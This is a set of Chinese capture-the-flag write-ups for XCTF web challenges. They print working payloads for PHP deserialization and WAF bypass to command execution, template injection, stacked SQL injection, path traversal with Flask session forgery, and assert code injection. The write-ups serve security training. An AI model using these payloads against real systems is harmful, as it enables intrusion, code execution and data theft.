攻防世界
目录
php2
访问index.phps文件
.phps后缀的文件是php源码文件
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>
对admin两次url编码,传给id
RFC 3986 标准规定,大部分字母和数字字符不会被编码,因为它们被认为比较安全,所以直接找在线编码工具,admin url编码后还是admin
所以自己用python写一个简单的对admin进行两次url编码的脚本
from urllib.parse import quote,unquote
import re
payload = "admin"
list = []
for i in payload:
ascii = ord(i)
list.append(hex(ascii))
print(list)
string=""
for h in range(0,5):
result = re.findall(r'0x([0-9,a-z]?[0-9,a-z]?)',list[h])
string += "%"+result[0]
print(quote(string))
这个脚本需明白url编码的机制: 1.获取字符的ascii码值 2.把ascii码值转换为16进制 3.把对应16进制的后两位添加到%后面,则得到对应字符的url编码 比如得到16进制是0x61 则url编码为%61
unserialize3
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
<?php
class xctf{
public $flag='111';
public function __wakeup(){
exit('bad requests');
}
}
$a=new xctf();
echo serialize($a);
?>
一个反序列化题目,一开始我直接写$flag,没有给它写值(111),没有写wakeup函数,序列化的字符串改了值页面没flag回显,回显的是?code=序列化字符串
后面补全了上述缺的,并修改序列化字符串数字,得到flag
值得注意的是
O:4:"xctf":1:{s:4:"flag";s:3:"111";} 上述序列化结果,把1修改为大的数字可以绕过wakeup 把4修改为任意数字或字母都可以绕过wakeup
ics-06
根据提示点击报表中心
尝试了以下选择时间范围,没啥变化
看到url栏有?id=1,想到sql注入,没用
看wp是爆破id参数,这脑洞?
backup
备份文件通常是.bak后缀
输入index.php.bak,下载备份文件
weak_auth
弱口令,直接admin admin,显示密码错误
用top1000爆破,密码123456,用户admin
bay_web
提示初始页面
本能试了index.php、index.html、删除1.php只要域名
发现都会重定向到1.php,猜到访问到正确的路径时可能通过http请求或响应包的字段给flag,于是f12查看,果然删去1.php时,响应包里有flag
easyphp
<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
$a = $_GET['a'];
$b = $_GET['b'];
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
$key1 = 1;
}else{
die("Emmm...再想想");
}
}else{
die("Emmm...");
}
$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
$d = array_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL;
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;
}
$key2 = 1;
}else{
die("no hack");
}
}else{
die("no");
}
if($key1 && $key2){
include "Hgfks.php";
echo "You're right"."\n";
echo $flag;
}
?>
You're right cyberpeace{34072340d05b9d797676fd27cb3eb4c1}
?a=6e9&b=7597945&c={"m":"2023e","n":[[1],0]}
这题重点是md5那里的脚本以及后面array_search这里开始的校验
md5后六位碰撞:
from hashlib import md5
for i in range(1000000000):
m=md5(str(i).encode('utf-8')).hexdigest()
if(m[-6:]=="8b184b"):
print(i)
print(m)
#一开始没想到直接循环数字,是用一个列表,里面是所有字母,因为以来就想到明文是字母 #但是想想发现,这里只要md5值的最后六位,只要数字范围够大,碰撞到最后六位的概率是很大的
然后就是array_search这个函数
这个函数用于在数组中寻找指定的值,找到了就返回值对应的键,没找到返回false
这里利用点是它寻找值时是利用弱等于进行比较,弱等于比较会自动进行类型转换,字符串会自动转为整数或浮点数
unseping
<?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
#call_user_func_array函数用于回调方法,第一个参数可用是方法名字符串,可用是一个数组(数组包含对象名和方法名);第二个参数是一个数组表示传给方法的参数
function ping($ip){
exec($ip, $result);
var_dump($result);
}
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
利用链子:
__constrct=》直接反序列化之前触发__wakeup=》触发__destruct()利用exec函数执行命令,利用var_dump函数打印 这里需要构造args的值和waf的参数,从而
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a=new ease("ping",array("l''s"));
print(base64_encode(serialize($a)));
?>
#flag_1s_here
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a=new ease("ping",array('l""s${IFS}fl?g_1s_here'));
print(base64_encode(serialize($a)));
?>
flag_831b69012c67b35f.php
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a=new ease("ping",array('ca""t${IFS}f?ag_1s_here$(printf${IFS}"\57")f?ag_831b69012c67b35f.p?p'));
print(base64_encode(serialize($a)));
?>
#用$(printf${IFS}"\57")代替"/"
#\57表示ascii码为57
#上面的shell语句就是输出ascii值为57对应的字符,也就是“/”
注意构造时引号的细节,单引号会把中间的内容完全视为字符串,但双引号会把内部变量进行解析,若在输入array的参数时用双引号,会对${}中的内容进行解析导致payload构造失败。单双引号的区别在Linux与php中都一样
注意:
这题一开始我是想绕过__wakeup,那么就可用绕过waf,就不用去绕正则了,但是发现这样做无法触发__destruct
web2
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function encode($str){
$_o=strrev($str);
// echo $_o;
for($_0=0;$_0<strlen($_o);$_0++){
$_c=substr($_o,$_0,1);
$__=ord($_c)+1;
$_c=chr($__);
$_=$_.$_c;
}
return str_rot13(strrev(base64_encode($_)));
}
highlight_file(__FILE__);
/*
逆向加密算法,解密$miwen就是flag
*/
?>
解密脚本:
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$str=base64_decode(strrev(str_rot13($miwen)));
for($i=0;$i<strlen($str);$i++){
$c=substr($str,$i,1);
$c1=chr(ord($c)-1);
$c2=$c2.$c1;
}
print(strrev($c2));
?>
command_execution
就是一个ping接口可以执行系统命令
直接&&,前面ping成功了则执行后面命令
如果||,前面执行失败才执行后面命令
Web_python_template_injection
payload:
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat fl4g').read()")}}
Web_php_unserialize
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
//一开始是想url编码绕过正则,但是正则绕过了反序列化函数unserialize对url编码的字符串不起作用 //也试过16进制,unserialize也不能解析16进制的对象字符串
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
}
$a = new Demo("fl4g.php");
//注意序列化后的字符串要修改绕过wakeup再url和base64加密
print(base64_encode(urlencode(seriliaze($a)));
?>
//后来看wp是说用o:+4绕过正则
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
}
$a = new Demo("fl4g.php");
$str = serialize($a);
$payload = str_replace("O:4","O:+4",$str);//绕过正则
print($payload);
$payload = str_replace(":1:",":2:",$payload);//绕过wakeup
print($payload);
print(base64_encode($payload));
?>
php_rce
thinkphp的rce
https://y4er.com/posts/thinkphp5-rce/
Web_php_include
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
strstr()
搜索子字符串,不区分大小写
strstr(string,substr) 在string中找substr,找到了则返回true,否则返回false
str_replace()
字符串替换,区分大小写
str_replace(str1,str2,str3) 把str3中的str1替换为str2
Php://input
post提交php代码
<?php system('ls'); ?>
supersqli
sql注入
;show database()--+ ;show tables--+ ;show columns from `1919810931114514` 过滤了select 看wp用以下payload拼接 ?inject=1' ;SET @payload=concat('se','lect flag from `1919810931114514`');prepare s from @payload;execute s--+
warmup
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
ffffllllaaaagggg
http://61.147.171.105:62442/source.php?file=hint.php?source.php?../../../../../ffffllllaaaagggg
讲真的知道怎么绕过checkfile,但是不知道该怎么让包含的file为flag在的文件,因为前面必须有白名单里面的文件名+?
这里用相对路径是真没想到
catcat-new
任意文件读取,主要就是路径问题,耐心试相对路径
../../../../../proc/self/cmdline
获取到命令:python app.py
读取app.py
../app.py
找到别人整理好的源码:
import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat
flag = ""
app = Flask(
__name__,
static_url_path='/',
static_folder='static'
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh" #SECRET_KEY为uuid替换-为空后加上*abcdefgh。这里刻意的*abcdefgh是在提示我们secret key的格式
if os.path.isfile("/flag"):
flag = cat("/flag")
os.remove("/flag") #这里读取flag后删掉了flag,防止之前任意文件读取出非预期解
@app.route('/', methods=['GET'])
def index():
detailtxt = os.listdir('./details/')
cats_list = []
for i in detailtxt:
cats_list.append(i[:i.index('.')])
return render_template("index.html", cats_list=cats_list, cat=cat)
@app.route('/info', methods=["GET", 'POST'])
def info():
filename = "./details/" + request.args.get('file', "")
start = request.args.get('start', "0")
end = request.args.get('end', "0")
name = request.args.get('file', "")[:request.args.get('file', "").index('.')]
return render_template("detail.html", catname=name, info=cat(filename, start, end)) #cat是上面引用进来的函数
@app.route('/admin', methods=["GET"])
def admin_can_list_root():
if session.get('admin') == 1: #session为admin就能得到flag,此处需要session伪造
return flag
else:
session['admin'] == 0
return "NoNoNo"
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=5637)
主要就在于如何获取secrt_key了
大佬的:
# coding=utf-8
#----------------------------------
###################################
#Edited by lx56@blog.lxscloud.top
###################################
#----------------------------------
import requests
import re
import ast, sys
from abc import ABC
from flask.sessions import SecureCookieSessionInterface
url = "http://61.147.171.105:53758/"
#此程序只能运行于Python3以上
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
#----------------session 伪造,单独用也可以考虑这个库: https://github.com/noraj/flask-session-cookie-manager ----------------
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
#Encode a Flask session cookie
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
#-------------------------------------------
#由/proc/self/maps获取可读写的内存地址,再根据这些地址读取/proc/self/mem来获取secret key
s_key = ""
bypass = "../.."
#请求file路由进行读取
map_list = requests.get(url + f"info?file={bypass}/proc/self/maps")
map_list = map_list.text.split("\\n")
for i in map_list:
#匹配指定格式的地址
map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
if map_addr:
start = int(map_addr.group(1), 16)
end = int(map_addr.group(2), 16)
print("Found rw addr:", start, "-", end)
#设置起始和结束位置并读取/proc/self/mem
res = requests.get(f"{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}")
#用到了之前特定的SECRET_KEY格式。如果发现*abcdefgh存在其中,说明成功泄露secretkey
if "*abcdefgh" in res.text:
#正则匹配,本题secret key格式为32个小写字母或数字,再加上*abcdefgh
secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)
if secret_key:
print("Secret Key:", secret_key[0])
s_key = secret_key[0]
break
#设置session中admin的值为1
data = '{"admin":1}'
#伪造session
headers = {
"Cookie" : "session=" + FSCM.encode(s_key, data)
}
#请求admin路由
try:
flag = requests.get(url + "admin", headers=headers)
print("Flag is", flag.text)
except:
print("Something error")
不知道怎的大佬的没得到flag,但是得到了secret_key,于是自己伪造以下session。拦包提交
用flask-session-cookie-manager-master这个脚本,在github上有
python存储对象的位置在堆上。
app是个Flask对象,而secret key在app.config[‘SECRET_KEY’]
lottery
最主要的就是猜测那七个数字,猜对了拿钱买flag
抓包看七个数字,没什么规律
看到post传参七个数字都是到api.php
看api.php源码
function buy($req){
require_registered();
require_min_money(2);
$money = $_SESSION['money']; #存储money
$numbers = $req['numbers'];
$win_numbers = random_win_nums();
$same_count = 0;
for($i=0; $i<7; $i++){
if($numbers[$i] == $win_numbers[$i]){ #如果传入到numbers==系统生成到win_numbers那么same_count加一
$same_count++;
}
}
switch ($same_count) {
case 2:
$prize = 5;
break;
case 3:
$prize = 20;
break;
case 4:
$prize = 300;
break;
case 5:
$prize = 1800;
break;
case 6:
$prize = 200000;
break;
case 7:
$prize = 5000000;
break;
default:
$prize = 0;
break;
}
$money += $prize - 2;
$_SESSION['money'] = $money;
response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}
主要的就是这个弱等于
<?php $a = 1; $b = True; if($a==$b) echo 123; ?> #这里会输出123 #可以知道’数字‘==true
那就抓包把七个数字全部改为true
[true,true,true,true,true,true,true]
simple_js
进环境叫输密码
function dechiffre(pass_enc){
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
var tab = pass_enc.split(',');
var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;
k = j + (l) + (n=0);
n = tab2.length;
for(i = (o=0); i < (k = j = n); i++ ){o = tab[i-l];p += String.fromCharCode((o = tab2[i]));
if(i == 5)break;}
for(i = (o=0); i < (k = j = n); i++ ){
o = tab[i-l];
if(i > 5 && i < k-1)
p += String.fromCharCode((o = tab2[i]));
}
p += String.fromCharCode(tab2[17]);
pass = p;return pass;
}
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));
h = window.prompt('Enter password');
alert( dechiffre(h) );
f12看到js代码,发现无论输入什么都弹出那一串字符串,也就是什么密码都没用
一开始看题还以为是分析js代码,然后js代码里面有密码的密文
然后看到那一串16进制很可疑
在控制台转ascii,再转字符串就是flag,只需要包上flag的格式就可以(这着实是看wp才知道的)
上述16进制转字符串得到:
有多余字符,这里就要猜测那些数字是对应的ASCII码(十进制)
mfw
git泄露
用githack得到源码
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
?page = ') or phpinfo();//
不允许使用../,用绝对路径获取flag
?page=') or system('cat ./templates/flag.php')//
cat
看wp,涉及以下知识点
Django
Django的配置文件settings.py所在路径——项目目录/项目名/settings.py
Django数据库配置的路径
GBK字符集
超出范围会报错
php curl
在@后面加绝对路径
其实就是以@为前缀发送文件
关于CURLOPT_POSTFIELDS